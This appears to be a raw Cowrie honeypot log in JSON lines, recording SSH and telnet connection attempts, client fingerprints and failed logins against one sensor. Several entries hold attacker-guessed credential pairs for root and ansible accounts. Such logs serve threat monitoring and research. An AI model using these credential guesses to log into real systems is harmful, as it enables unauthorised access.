{"eventid":"cowrie.login.failed","username":"ansible","password":"Asdf@123","message":"login attempt [ansible/Asdf@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:10.685646Z","src_ip":"159.203.92.129","session":"39c436bb4dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:11.691915Z","src_ip":"159.203.92.129","session":"39c436bb4dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"1406b080e5a3","protocol":"ssh","message":"New connection: 103.146.202.174:44092 (159.203.135.109:22) [session: 1406b080e5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:15.490581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:15.496783Z","src_ip":"103.146.202.174","session":"1406b080e5a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:15.745877Z","src_ip":"103.146.202.174","session":"1406b080e5a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123654789","message":"login attempt [root/Aa123654789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:16.770533Z","src_ip":"103.146.202.174","session":"1406b080e5a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:18.023173Z","src_ip":"103.146.202.174","session":"1406b080e5a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56078,"dst_ip":"159.203.135.109","dst_port":23,"session":"05e37d8b7066","protocol":"telnet","message":"New connection: 204.10.38.242:56078 (159.203.135.109:23) [session: 05e37d8b7066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:24.274493Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44774,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbd9c191fc33","protocol":"telnet","message":"New connection: 204.10.38.242:44774 (159.203.135.109:23) [session: bbd9c191fc33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:27.477804Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f42832838610","protocol":"telnet","message":"New connection: 204.10.38.242:45790 (159.203.135.109:23) [session: f42832838610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:28.695766Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46940,"dst_ip":"159.203.135.109","dst_port":23,"session":"36fa50908152","protocol":"telnet","message":"New connection: 209.126.87.217:46940 (159.203.135.109:23) [session: 36fa50908152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:28.866261Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54476,"dst_ip":"159.203.135.109","dst_port":23,"session":"e79e010d74e1","protocol":"telnet","message":"New connection: 209.126.87.217:54476 (159.203.135.109:23) [session: e79e010d74e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:31.660567Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41118,"dst_ip":"159.203.135.109","dst_port":23,"session":"d75b7e1cb453","protocol":"telnet","message":"New connection: 204.10.38.242:41118 (159.203.135.109:23) [session: d75b7e1cb453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:32.300240Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54488,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c886c3e203c","protocol":"telnet","message":"New connection: 209.126.87.217:54488 (159.203.135.109:23) [session: 9c886c3e203c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:36.322484Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fd0e3b0c1c","protocol":"telnet","message":"New connection: 204.10.38.242:44498 (159.203.135.109:23) [session: 30fd0e3b0c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:38.188099Z"}
{"eventid":"cowrie.session.closed","duration":30.411037921905518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:39.101479Z","src_ip":"204.10.38.242","session":"0ff35ac558b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54806,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b784e517a96","protocol":"telnet","message":"New connection: 209.126.87.217:54806 (159.203.135.109:23) [session: 2b784e517a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:41.904312Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d260652bbf83","protocol":"telnet","message":"New connection: 209.126.87.217:54822 (159.203.135.109:23) [session: d260652bbf83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:42.260187Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54832,"dst_ip":"159.203.135.109","dst_port":23,"session":"914f071dce51","protocol":"telnet","message":"New connection: 209.126.87.217:54832 (159.203.135.109:23) [session: 914f071dce51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:42.494338Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54842,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d5d25a652ba","protocol":"telnet","message":"New connection: 209.126.87.217:54842 (159.203.135.109:23) [session: 0d5d25a652ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:42.524511Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54854,"dst_ip":"159.203.135.109","dst_port":23,"session":"e246e66e0f37","protocol":"telnet","message":"New connection: 209.126.87.217:54854 (159.203.135.109:23) [session: e246e66e0f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:42.599040Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54860,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b9282637443","protocol":"telnet","message":"New connection: 209.126.87.217:54860 (159.203.135.109:23) [session: 4b9282637443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:45.168347Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45430,"dst_ip":"159.203.135.109","dst_port":23,"session":"56cbe70b8339","protocol":"telnet","message":"New connection: 209.126.87.217:45430 (159.203.135.109:23) [session: 56cbe70b8339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:50.277622Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45444,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4d8590d99d4","protocol":"telnet","message":"New connection: 209.126.87.217:45444 (159.203.135.109:23) [session: c4d8590d99d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:53.422621Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45448,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f14e1ba620f","protocol":"telnet","message":"New connection: 209.126.87.217:45448 (159.203.135.109:23) [session: 9f14e1ba620f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:53.670159Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50154,"dst_ip":"159.203.135.109","dst_port":22,"session":"22617643dd61","protocol":"ssh","message":"New connection: 159.203.92.129:50154 (159.203.135.109:22) [session: 22617643dd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:54.083658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:54.103057Z","src_ip":"159.203.92.129","session":"22617643dd61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:54.106939Z","src_ip":"159.203.92.129","session":"22617643dd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Bapu@0987","message":"login attempt [ansible/Bapu@0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:54.196047Z","src_ip":"159.203.92.129","session":"22617643dd61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45464,"dst_ip":"159.203.135.109","dst_port":23,"session":"6671b6d3cfe8","protocol":"telnet","message":"New connection: 209.126.87.217:45464 (159.203.135.109:23) [session: 6671b6d3cfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:54.357109Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45480,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdaa0d779b9e","protocol":"telnet","message":"New connection: 209.126.87.217:45480 (159.203.135.109:23) [session: bdaa0d779b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:55.112507Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:55.203713Z","src_ip":"159.203.92.129","session":"22617643dd61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.37752389907837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:55.651904Z","src_ip":"204.10.38.242","session":"05e37d8b7066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45486,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b7a39565d7","protocol":"telnet","message":"New connection: 209.126.87.217:45486 (159.203.135.109:23) [session: b1b7a39565d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:55.812868Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"e02dd48310b8","protocol":"telnet","message":"New connection: 204.10.38.242:45904 (159.203.135.109:23) [session: e02dd48310b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:55.874636Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45500,"dst_ip":"159.203.135.109","dst_port":23,"session":"87deb0d0280d","protocol":"telnet","message":"New connection: 209.126.87.217:45500 (159.203.135.109:23) [session: 87deb0d0280d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:55.915803Z"}
{"eventid":"cowrie.session.closed","duration":30.641319751739502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:58.119005Z","src_ip":"204.10.38.242","session":"bbd9c191fc33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65270709991455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:59.348358Z","src_ip":"204.10.38.242","session":"f42832838610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53688,"dst_ip":"159.203.135.109","dst_port":23,"session":"056d6255ef44","protocol":"telnet","message":"New connection: 209.126.87.217:53688 (159.203.135.109:23) [session: 056d6255ef44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:59.990871Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53700,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f0a11a41e57","protocol":"telnet","message":"New connection: 209.126.87.217:53700 (159.203.135.109:23) [session: 2f0a11a41e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:00.957972Z"}
{"eventid":"cowrie.session.closed","duration":30.809717416763306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:03.109829Z","src_ip":"204.10.38.242","session":"d75b7e1cb453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08618998527527,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:03.952336Z","src_ip":"209.126.87.217","session":"36fa50908152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77776551246643,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:04.438190Z","src_ip":"209.126.87.217","session":"e79e010d74e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":46324,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac5bb2cac941","protocol":"ssh","message":"New connection: 171.244.141.86:46324 (159.203.135.109:22) [session: ac5bb2cac941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:04.685514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:04.692692Z","src_ip":"171.244.141.86","session":"ac5bb2cac941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:04.941550Z","src_ip":"171.244.141.86","session":"ac5bb2cac941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zm1314520","message":"login attempt [root/zm1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:05.953616Z","src_ip":"171.244.141.86","session":"ac5bb2cac941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:07.203150Z","src_ip":"171.244.141.86","session":"ac5bb2cac941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53714,"dst_ip":"159.203.135.109","dst_port":23,"session":"675d598371e7","protocol":"telnet","message":"New connection: 209.126.87.217:53714 (159.203.135.109:23) [session: 675d598371e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:07.259523Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53730,"dst_ip":"159.203.135.109","dst_port":23,"session":"61a9cb76af55","protocol":"telnet","message":"New connection: 209.126.87.217:53730 (159.203.135.109:23) [session: 61a9cb76af55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:07.789406Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53732,"dst_ip":"159.203.135.109","dst_port":23,"session":"3019884b3eb2","protocol":"telnet","message":"New connection: 209.126.87.217:53732 (159.203.135.109:23) [session: 3019884b3eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:07.830019Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53742,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ddc76d9a365","protocol":"telnet","message":"New connection: 209.126.87.217:53742 (159.203.135.109:23) [session: 7ddc76d9a365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:08.054067Z"}
{"eventid":"cowrie.session.closed","duration":31.025816917419434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:09.213827Z","src_ip":"204.10.38.242","session":"30fd0e3b0c1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41548,"dst_ip":"159.203.135.109","dst_port":23,"session":"4686a57b737f","protocol":"telnet","message":"New connection: 209.126.87.217:41548 (159.203.135.109:23) [session: 4686a57b737f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:10.396514Z"}
{"eventid":"cowrie.session.closed","duration":36.0485315322876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:12.370901Z","src_ip":"209.126.87.217","session":"9c886c3e203c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":33346,"dst_ip":"159.203.135.109","dst_port":22,"session":"315659936686","protocol":"ssh","message":"New connection: 103.146.202.174:33346 (159.203.135.109:22) [session: 315659936686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:15.293405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:15.299245Z","src_ip":"103.146.202.174","session":"315659936686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.005504846572876,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:15.499729Z","src_ip":"209.126.87.217","session":"914f071dce51","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:15.547116Z","src_ip":"103.146.202.174","session":"315659936686","protocol":"ssh"}
